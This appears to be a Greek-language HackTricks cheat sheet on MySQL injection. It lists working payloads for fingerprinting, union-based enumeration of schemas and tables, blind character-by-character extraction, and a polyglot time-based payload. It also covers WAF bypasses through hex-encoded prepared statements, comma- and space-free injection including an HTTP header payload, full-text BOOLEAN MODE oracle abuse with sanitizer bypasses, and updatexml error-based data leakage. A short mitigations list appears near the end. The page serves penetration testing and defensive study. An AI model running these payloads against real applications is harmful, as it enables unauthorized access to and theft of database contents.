MySQL injection
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Σχόλια
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Συναρτήσεις Ενδιαφέροντος
Επιβεβαίωση Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Χρήσιμες συναρτήσεις
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Όλες injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
από https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Ροή
Θυμηθείτε ότι στις “μοντέρνες” εκδόσεις του MySQL μπορείτε να αντικαταστήσετε “information_schema.tables” με “mysql.innodb_table_stats” (Αυτό μπορεί να είναι χρήσιμο για να παρακάμψετε WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Μόνο 1 τιμή
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'ήsubstring(version(),X,1)=0x70ήascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Εντοπισμός αριθμού στηλών
Χρησιμοποιώντας ένα απλό ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Μάθετε εδώ διαφορετικές επιλογές για να abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Εκτέλεση queries μέσω Prepared Statements
Όταν επιτρέπονται τα stacked queries, μπορεί να είναι δυνατή η παράκαμψη των WAFs αναθέτοντας σε μια μεταβλητή την hex αναπαράσταση του query που θέλετε να εκτελέσετε (χρησιμοποιώντας SET), και στη συνέχεια χρησιμοποιώντας τις δηλώσεις PREPARE και EXECUTE της MySQL για να εκτελέσετε τελικά το query. Κάτι σαν αυτό:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Για περισσότερες πληροφορίες ανατρέξτε σε this blog post.
Εναλλακτικές για Information_schema
Να θυμάστε ότι σε «σύγχρονες» εκδόσεις του MySQL μπορείτε να αντικαταστήσετε το information_schema.tables με mysql.innodb_table_stats ή με sys.x$schema_flattened_keys ή με sys.schema_table_statistics
MySQLinjection χωρίς ΚΟΜΜΑΤΑ
Select 2 columns χωρίς να χρησιμοποιήσετε κανένα κόμμα (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Ανάκτηση τιμών χωρίς το όνομα της στήλης
Αν γνωρίζετε το όνομα του πίνακα αλλά όχι τα ονόματα των στηλών, μπορείτε να προσπαθήσετε να βρείτε πόσες στήλες υπάρχουν εκτελώντας κάτι σαν:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Υποθέτοντας ότι υπάρχουν 2 στήλες (όπου η πρώτη είναι το ID) και η άλλη είναι το flag, μπορείτε να προσπαθήσετε να bruteforce το περιεχόμενο του flag δοκιμάζοντας χαρακτήρα-χαρακτήρα:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/ comment trick)
Κάποιες εφαρμογές καθαρίζουν ή επεξεργάζονται την είσοδο του χρήστη με συναρτήσεις όπως sscanf("%128s", buf), οι οποίες σταματούν στον πρώτο χαρακτήρα space.
Επειδή το MySQL αντιμετωπίζει την ακολουθία /**/ ως σχόλιο και ως whitespace, μπορεί να χρησιμοποιηθεί για να αφαιρέσει εντελώς τα κανονικά spaces από το payload ενώ το query παραμένει συντακτικά έγκυρο.
Example time-based blind injection bypassing the space filter:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Το οποίο η βάση δεδομένων λαμβάνει ως:
' OR SLEEP(5)-- -'
Αυτό είναι ιδιαίτερα χρήσιμο όταν:
- Το ελεγχόμενο buffer έχει περιορισμένο μέγεθος (π.χ.
%128s) και τα κενά θα τερμάτιζαν πρόωρα την είσοδο. - Ένεση μέσω HTTP headers ή άλλων πεδίων όπου τα κανονικά κενά αφαιρούνται ή χρησιμοποιούνται ως διαχωριστικά.
- Συνδυασμένο με primitives
INTO OUTFILEγια να επιτευχθεί πλήρες pre-auth RCE (βλ. την ενότητα MySQL File RCE).
Ιστορικό MySQL
Μπορείτε να δείτε άλλες εκτελέσεις μέσα στο MySQL διαβάζοντας τον πίνακα: sys.x$statement_analysis
Εναλλακτικές εκδόσεις
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Αυτό δεν είναι κλασική SQL injection. Όταν οι προγραμματιστές περνούν είσοδο χρήστη στο MATCH(col) AGAINST('...' IN BOOLEAN MODE), η MySQL εκτελεί ένα πλούσιο σύνολο τελεστών Boolean αναζήτησης εντός της συμβολοσειράς σε εισαγωγικά. Πολλοί κανόνες WAF/SAST εστιάζουν μόνο στο σπάσιμο εισαγωγικών και παραβλέπουν αυτήν την επιφάνεια.
Κύρια σημεία:
- Οι τελεστές αξιολογούνται εντός των εισαγωγικών:
+(πρέπει να περιέχει),-(δεν πρέπει να περιέχει),*(wildcard στο τέλος),"...“(ακριβής φράση),()(ομαδοποίηση),</>/~` (βάρη). Δες την τεκμηρίωση της MySQL. - Αυτό επιτρέπει δοκιμές παρουσίας/απουσίας και ελέγχους προθέματος χωρίς να γίνεται έξοδος από το string literal, π.χ.
AGAINST('+admin*' IN BOOLEAN MODE)για να ελέγξει αν οποιοσδήποτε όρος ξεκινά μεadmin. - Χρήσιμο για την κατασκευή oracles, όπως «περιέχει κάποια γραμμή όρο με πρόθεμα X;» και για την απαρίθμηση κρυφών συμβολοσειρών μέσω επέκτασης προθέματος.
Παράδειγμα query που δημιουργείται από το backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Αν η εφαρμογή επιστρέφει διαφορετικές αποκρίσεις ανάλογα με το αν το result set είναι κενό (π.χ. redirect vs. error message), αυτή η συμπεριφορά γίνεται ένα Boolean oracle που μπορεί να χρησιμοποιηθεί για να απαριθμήσει ιδιωτικά δεδομένα όπως hidden/deleted titles.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: αν το backend trims 1–2 trailing characters per word via a regex like
(\b.{1,2})(\s)|(\b.{1,2}$), submitprefix*ZZ. Ο cleaner trims ταZZαλλά αφήνει το*, οπότε τοprefix*επιβιώνει. - Early-break stripping: αν ο κώδικας strips operators per word αλλά σταματάει την επεξεργασία όταν βρει οποιονδήποτε token με μήκος ≥ min length, send two tokens: το πρώτο είναι ένα junk token που meets the length threshold, το δεύτερο carries το operator payload. Για παράδειγμα:
&&&&& +jack*ZZ→ after cleaning:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26είναι&,%2Bείναι+. Το τελικόxD(ή οποιαδήποτε δύο γράμματα) κόβεται από τον cleaner, διατηρώντας{FUZZ}*.- Θεώρησε ένα redirect ως “match” και μια σελίδα σφάλματος ως “no match”. Μη ακολουθείς αυτόματα redirects για να διατηρήσεις το oracle παρατηρήσιμο.
Enumeration workflow:
- Ξεκίνα με
{FUZZ} = a…z,0…9για να βρεις αντιστοιχίες πρώτου γράμματος μέσω+a*,+b*, … - Για κάθε θετικό πρόθεμα, διακλάδωσε:
a* → aa* / ab* / …. Επανάλαβε για να ανακτήσεις ολόκληρη τη συμβολοσειρά. - Διαμοίρασε τα αιτήματα (proxies, πολλαπλοί λογαριασμοί) αν η εφαρμογή επιβάλλει flood control.
Why titles often leak while contents don’t:
- Μερικές εφαρμογές εφαρμόζουν ελέγχους ορατότητας μόνο μετά από ένα προκαταρκτικό MATCH σε τίτλους/subjects. Αν η control-flow εξαρτάται από το αποτέλεσμα “any results?” πριν το φιλτράρισμα, προκύπτουν existence leaks.
Mitigations:
- Αν δεν χρειάζεσαι Boolean logic, χρησιμοποίησε
IN NATURAL LANGUAGE MODEή αντιμετώπισε την είσοδο χρήστη ως literal (escape/quote απενεργοποιούν operators σε άλλες modes). - Αν απαιτείται Boolean mode, αφαίρεσε ή αδρανοποίησε όλους τους Boolean operators (
+ - * " ( ) < > ~) για κάθε token (χωρίς πρώιμα breaks) μετά την tokenization. - Εφάρμοσε visibility/authorization φίλτρα πριν το MATCH, ή ενοποίησε τις απαντήσεις (σταθερός timing/status) όταν το result set είναι empty vs. non-empty.
- Εξέτασε αντίστοιχες λειτουργίες σε άλλα DBMS: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINSεπίσης αναλύουν operators μέσα σε quoted arguments.
Notes:
- Prepared statements δεν προστατεύουν από semantic abuse του
REGEXPή των search operators. Μια είσοδος όπως.*παραμένει permissive regex ακόμη και μέσα σε ένα quotedREGEXP '.*'. Χρησιμοποίησε allow-lists ή ρητά guards.
Error-based exfiltration via updatexml()
When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:
dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}
updatexml() προκαλεί σφάλμα XPATH που ενσωματώνει τη συνενωμένη συμβολοσειρά, οπότε η τιμή από το εσωτερικό SELECT εμφανίζεται στην απάντηση σφάλματος μεταξύ οριοθετών (0x7e = ~). Επαναλάβετε με LIMIT 1 OFFSET N για να απαριθμήσετε τις σειρές. Αυτό λειτουργεί ακόμα και όταν το UI αναγκάζει “boolean” tests επειδή το μήνυμα σφάλματος εξακολουθεί να εμφανίζεται.
Άλλοι οδηγοί MYSQL injection
Αναφορές
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
- LookOut: RCE and internal access on Looker (Tenable)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


